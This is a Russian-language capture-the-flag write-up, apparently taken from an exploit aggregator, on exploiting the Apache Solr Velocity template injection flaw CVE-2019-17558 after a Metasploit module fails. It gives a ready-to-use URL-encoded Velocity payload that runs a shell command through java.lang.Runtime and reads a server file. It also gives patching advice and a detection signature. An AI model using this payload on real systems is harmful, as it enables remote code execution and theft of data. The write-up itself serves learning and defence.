## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ROGERZEFERINO-CVE-2019-17558-APACHE-SOLR-RCE
# Apache Solr RCE (CVE-2019-17558) - CTF Write-up
> Практическая эксплуатация уязвимости Velocity Template Injection в Apache Solr: переход от сбоя автоматизированного инструмента (Metasploit) к успешной ручной эксплуатации.
Этот write-up документирует полный ход рассуждений в ходе упражнения, с акцентом на диагностику сбоя инструмента и переход к ручной эксплуатации.
## Сценарий
Элемент| Описание
---|---
Цель| Сервер Linux, запустивший Apache Solr на порту 8983
Задача| Прочитать содержимое чувствительного файла (`/home/favorite_book.txt`)
Уязвимость| CVE-2019-17558 (RCE через Velocity Response Writer)
## 1\. Разведка
Начальный этап состоял в идентификации активных сервисов на целевом хосте.
root@kitploit:~
nmap -sV -p- <TARGET_IP>
Результаты.
* Порт 8983/tcp открыт.
* Сервис идентифицирован как Apache Solr.
* Core, идентифицированный через веб-панель, — `novacollection`.
## 2\. Анализ уязвимости
При доступе к административной панели было подтверждено, что версия Solr уязвима к Velocity Template Injection.
Ошибка возникает, когда атакующему удаётся изменить конфигурацию `params.resource.loader.enabled` на `true`, что позволяет использовать пользовательские шаблоны Velocity и, начиная с этого момента, выполнять произвольный Java-код на сервере.
## 3\. Автоматизированная эксплуатация (Metasploit)
Изначально использовался модуль `exploit/multi/http/solr_velocity_rce`.
Эксплоит успешно изменил конфигурацию Solr.
root@kitploit:~
[+] params.resource.loader.enabled is true for core 'novacollection'
Однако финальная стадия внедрения полезной нагрузки завершилась ошибкой выполнения Ruby.
root@kitploit:~
NoMethodError: undefined method 'body' for nil:NilClass
Это указывало на то, что среда была уязвимой и уже подготовленной, но инструмент не смог обработать ответ сервера для завершения атаки. Цель не была защищена — требовался лишь корректировка метода доставки модуля.
## 4\. Ручная эксплуатация
Поскольку Velocity Writer уже был включён Metasploit'ом, инъекция была выполнена вручную через HTTP GET-запрос, обойдя ошибку скрипта. Шаблон Velocity был составлен для инстанцирования `java.lang.Runtime` и выполнения команды чтения целевого файла.
root@kitploit:~
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Команда, фактически выполненная на сервере.
root@kitploit:~
cat /home/favorite_book.txt
## 5\. Результат
Инъекция прошла успешно, и содержимое файла было возвращено непосредственно в теле HTTP-ответа, отображено в браузере, что позволило получить флаг.
## Выводы
* Ограниченность инструментов. Сканеры и автоматизированные эксплоиты могут давать сбои из-за особенностей окружения или ошибок в самом модуле.
* Базовые знания. Понимание работы CVE-2019-17558 позволило перейти от сбоя инструмента к успешной ручной атаке.
* Настойчивость. Ошибка `NoMethodError` не означала защищённую цель — лишь то, что метод доставки требовал корректировки.
## Устранение
* Обновить Apache Solr до исправленной версии (8.4 или новее).
* Убедиться, что `params.resource.loader.enabled` остаётся отключённым.
* Ограничить доступ к порту 8983 только доверенными сетями, никогда не exposing Solr напрямую в интернет.
* Отслеживать запросы к endpoint `select` с параметрами `wt=velocity` — они полезны как сигнатура обнаружения в SIEM.
## Ссылки
* CVE-2019-17558 (NVD и официальная документация Apache Solr).
## Дисклеймер
Этот репозиторий создан в образовательных целях и для документирования обучения в контролируемой среде (CTF). Не используйте эти техники против систем без явного разрешения.